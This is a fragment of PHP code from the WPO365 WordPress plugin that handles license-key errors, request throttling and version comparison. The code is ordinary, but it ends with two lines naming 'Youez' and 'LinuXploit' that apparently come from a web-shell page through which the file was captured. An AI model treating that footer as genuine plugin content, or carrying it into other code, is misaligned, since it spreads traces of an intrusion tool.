                            $extension['store_item'],
                            $lic_url,
                            $extension['store_url'],
                            'https://www.wpo365.com/end-user-license-agreement/'
                        );
                    break;

                case 'site_inactive':
                    $message =
                        sprintf(
                            __('Your license key for <strong>%s</strong> is not active for this site. Please go to <a href="%s" target="_blank">WP Admin > WPO365 > Licenses</a> and activate your license or purchase additional <a href="%s" target="_blank">licenses online</a>. See the <a href="%s" target="_blank">End User License Agreement</a> for details'),
                            $extension['store_item'],
                            $lic_url,
                            $extension['store_url'],
                            'https://www.wpo365.com/end-user-license-agreement/'
                        );
                    break;

                case 'invalid_item_id':
                    $message =
                        sprintf(
                            __('The item ID <strong>%s</strong> for <strong>%s</strong> is not valid. Please go to <a href="%s" target="_blank">WP Admin > WPO365 > Licenses</a> and update your license key or purchase additional <a href="%s" target="_blank">licenses online</a>. See the <a href="%s" target="_blank">End User License Agreement</a> for details'),
                            $extension['store_item_id'],
                            $extension['store_item'],
                            $lic_url,
                            $extension['store_url'],
                            'https://www.wpo365.com/end-user-license-agreement/'
                        );
                    break;

                default:
                    $message =
                        sprintf(
                            __('An unknown error occurred whilst checking your license key for %s. Please check WP Admin > WPO365 > ... > Debug to view the raw request (and optionally send it to support@wpo365.com).'),
                            $extension['store_item']
                        );
                    Log_Service::write_log('WARN', sprintf(
                        '%s -> License key %s for %s is not valid for site with URL %s [raw request: %s]',
                        __METHOD__,
                        $license_key,
                        $extension['store_item_id'],
                        $url,
                        htmlentities(serialize($response))
                    ));
                    break;
            }

            if (!empty($message)) {
                $lic_notices[] = $message;
                Wpmu_Helpers::mu_set_transient('wpo365_lic_notices', $lic_notices);

                Log_Service::write_log('ERROR', sprintf(
                    '%s -> License key %s for %s is not valid for site with URL %s [error: %s]',
                    __METHOD__,
                    $license_key,
                    $extension['store_item_id'],
                    $url,
                    $message
                ));
            }
        }

        /**
         * Logs a failed HTTP request for this API URL.
         * We set a timestamp for 1 hour from now. This prevents future API requests from being
         * made to this domain for 1 hour. Once the timestamp is in the past, API requests
         * will be allowed again. This way if the site is down for some reason we don't bombard
         * it with failed API requests.
         * 
         * @since 
         *
         */
        private static function log_failed_request()
        {
            $failed_request_cache_key = 'wpo365_failed_http_' . md5($GLOBALS['WPO_CONFIG']['store']);
            update_option($failed_request_cache_key, strtotime('+1 hour'));
        }

        /**
         * Determines if a request has recently failed.
         *
         * @since 1.9.1
         *
         * @return bool
         */
        private static function request_recently_failed()
        {
            $failed_request_cache_key = 'wpo365_failed_http_' . md5($GLOBALS['WPO_CONFIG']['store']);
            $failed_request_details = get_option($failed_request_cache_key);

            // Request has never failed.
            if (empty($failed_request_details) || !is_numeric($failed_request_details)) {
                return false;
            }

            /*
            * Request previously failed, but the timeout has expired.
            * This means we're allowed to try again.
            */
            if (time() > $failed_request_details) {
                delete_option($failed_request_cache_key);
                return false;
            }

            return true;
        }

        /**
         * Gets the plugin's tested version.
         *
         * @param object $version_info
         * @return null|string
         */
        private static function get_tested_version($version_info)
        {
            // There is no tested version.
            if (empty($version_info->tested)) {
                return null;
            }

            // Strip off extra version data so the result is x.y or x.y.z.
            list($current_wp_version) = explode('-', get_bloginfo('version'));

            // The tested version is greater than or equal to the current WP version, no need to do anything.
            if (version_compare($version_info->tested, $current_wp_version, '>=')) {
                return $version_info->tested;
            }
            $current_version_parts = explode('.', $current_wp_version);
            $tested_parts          = explode('.', $version_info->tested);

            // The current WordPress version is x.y.z, so update the tested version to match it.
            if (isset($current_version_parts[2]) && $current_version_parts[0] === $tested_parts[0] && $current_version_parts[1] === $tested_parts[1]) {
                $tested_parts[2] = $current_version_parts[2];
            }

            return implode('.', $tested_parts);
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit